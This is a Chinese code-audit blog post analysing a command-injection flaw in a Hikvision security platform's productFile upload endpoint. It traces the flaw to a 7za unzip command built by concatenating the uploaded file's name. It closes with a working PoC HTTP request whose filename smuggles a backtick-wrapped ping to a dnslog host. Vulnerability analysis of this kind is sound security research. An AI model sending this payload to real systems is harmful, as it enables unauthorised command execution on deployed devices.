[代码审计]海康productFile命令执行历史漏洞分析(含poc)

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

免责声明

本号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

前言

首先是之前在某漏洞库上看到海康威视-综合安防管理平台 /svm/api/v1/productFile 路径存在任意文件上传,因为刚好有源码就想着去看下,起初以为是zip解压缩目录穿越造成的文件写入,后来发现是拼接命令造成命令执行,比较有意思,已经有其他大佬发过分析文章了,这里只是简单记录下,大佬勿喷。

代码分析

首先根据漏洞路径定位到代码位置。

除了上传文件外还必须要传入2个参数type和ip。

进入productFileUpload方法查看代码逻辑,首先校验Token请求头。

不通过直接抛出异常。

这里这个Token请求头可以配合另一个漏洞来获取,这里直接看文件上传方法resolverUploadMultipartFile,首先判断上传的文件后缀是不是.zip,如果不是直接抛出异常。

如果上传的文件后缀是.zip文件的话,会先调用FileResolver.transferTo。

在FileResolver.transferTo方法中,先获取/opt/hikvision/web/components/svm.1/data/temp目录,如果这个目录不存在的话会创建。

然后因为传入的rename为true,所以保存的文件名前面会加上uuid,最终保存的文件路径就是/opt/hikvision/web/components/svm.1/data/temp/uuid_xxxx.zip,FileResolver.transferTo返回保存文件的路径。

回到resolverUploadMultipartFile方法,执行完FileResolver.transferTo且没异常抛出后,会调用ZipFacade.unzip方法来解压上传的zip文件。

这里传入的参数CommonCache.ZIP_TOOL_PATH是7za文件的路径。

fileAbsuolutePath就是保存的文件路径,ZipFacade.unzip方法中首先检查7za和上传的文件是否存在, 然后获取去掉上传的文件扩展名后的路径,作为解压后的目标目录,如果不存在则创建。

最后构建并执行解压命令,这里可以发现这个命令是拼接的,类似于

"7za" x "/opt/hikvision/web/components/svm.1/data/temp/uuid_xxxx.zip" -o"/opt/hikvision/web/components/svm.1/data/temp/uuid_xxxx" -y

而类似于这段命令中,xxxx是我们可控的,就是上传zip文件的名字,这里就可以利用linux中的内联执行来执行系统命令了。所以文件名可以构造为`ping xxx.dnslog.cn`.zip来达到命令执行。

漏洞POC

token需要通过另一个接口获取。

POST /svm/api/v1/productFile?type=product&ip=127.0.0.1&agentNo=1 HTTP/1.1
Host: 
Token: SElLIElnVTBzNVd6eWlibVB4M046dUE0SlBBbGJTWGNMUnk5aWg4dkJXL2RjeEdqKys4aTd0cHBMM09INytVZz0=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary =---------------------------142851345723692939351758052805
Content-Length: 346

-----------------------------142851345723692939351758052805
Content-Disposition: form-data; name="file"; filename="`ping xxx.dnslog.cn`.zip"
Content-Type: application/zip

123
-----------------------------142851345723692939351758052805--
  • 16
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值